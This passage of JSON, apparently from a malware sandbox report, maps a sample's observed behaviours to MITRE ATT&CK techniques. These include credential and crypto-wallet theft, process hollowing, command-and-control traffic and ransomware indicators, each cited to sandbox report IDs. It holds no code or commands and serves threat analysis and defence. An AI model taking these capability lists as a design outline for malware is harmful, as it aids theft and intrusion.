SID"},{"type":"informative","value":"Contains ability to lookup the windows account name"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to lookup its own filename"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Able to retrieve the valid logical drives on the computer"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls APIs used for find file/directory path"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Contains ability to retrieve system language"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Contains ability to get active window titles (Dotnet)"},{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query the machine timezone"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Dotnet code contains ability to query registry"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"},{"type":"informative","value":"Contains the ability to enumerate service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Contains references to the retrieval of internet session handle (imports API)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to retrieve system network configuration"},{"type":"malicious","value":"Tries to identify its external IP address"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to retrieve network adapter information (Dotnet)"},{"type":"malicious","value":"Found a reference to an external IP address lookup service"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Discovery","technique":"Internet Connection Discovery","attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Tries to move files"},{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Able to modify Remote Configuration"},{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"},{"type":"informative","value":"Contains ability to decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen information (Dotnet)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"},{"type":"informative","value":"Contains ability to capture screenshot"},{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Collection","technique":"Data from Removable Media","attack_id":"T1025","attack_id_wiki":"https://attack.mitre.org/techniques/T1025","identifiers":[{"type":"informative","value":"Able to retrieve system driver type"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"},{"type":"informative","value":"Contains SQL queries"},{"type":"informative","value":"Contains ability to perform sql operations (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal crypto wallet extension (file access)"},{"type":"malicious","value":"Tries to steal desktop applications information (file access)"},{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Queries list of installed browsers"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to communicates via socket (possible C&C communication)"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"},{"type":"informative","value":"Contains ability to use AES encryption instructions"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"malicious","value":"Contacts many different hosts"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Found user-agent related strings"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"malicious","value":"Found unknown user-agent(s)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"},{"type":"informative","value":"Contains ability to communicate via sockets (Dotnet)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"},{"type":"malicious","value":"Sends network traffic on a port typically used by trojan horses"},{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"},{"type":"informative","value":"References server/domain address with port number"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform asymmetric crypto operations"},{"type":"informative","value":"Contains reference to OpenSSL library string"},{"type":"informative","value":"References OpenSSL library string"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Drops files with image extension"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Drops temp files"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Contains ability to download files with network (Dotnet)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"},{"type":"malicious","value":"Detected many DNS responses with a low TTL"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Standard Encoding","attack_id":"T1132.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/001","identifiers":[{"type":"informative","value":"Contains ability to attach base64 encoded attachment to an email"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Imports crypto-related APIs"},{"type":"informative","value":"Imports Crypto related APIs"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Impact","technique":"Internal Defacement","attack_id":"T1491.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1491/001","identifiers":[{"type":"suspicious","value":"The input sample dropped very many files"},{"type":"suspicious","value":"The analysis extracted file with a known ransomware suffix"}],"sources":[{"report_type":"sandbox","report_id":"69113ae65b76401a8f094071"},{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"Queries COM task scheduler class object"},{"type":"informative","value":"References task scheduler-related strings"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"informative","value":"PyInstaller file activity detected"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Contains ability to register hotkeys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Persistence","technique":"Office Template Macros","attack_id":"T1137.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1137/001","identifiers":[{"type":"informative","value":"Contains reference to MS Word template folder"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Creates a system process in suspended mode (likely for process injection)"},{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"},{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"malicious","value":"Found a system process name at an unusual pathway"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"},{"report_type":"sandbox","report_id":"6582fc366c414651220920ce"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Found string related to Windows Vault/Credentials location"},{"type":"informative","value":"Able to access Windows Vault"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"malicious","value":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","sources":[{"report_type":"sandbox","report_id":"6582fb6b0e327a9aae078e41"}]},{"tactic":"Discovery","technique":"Account 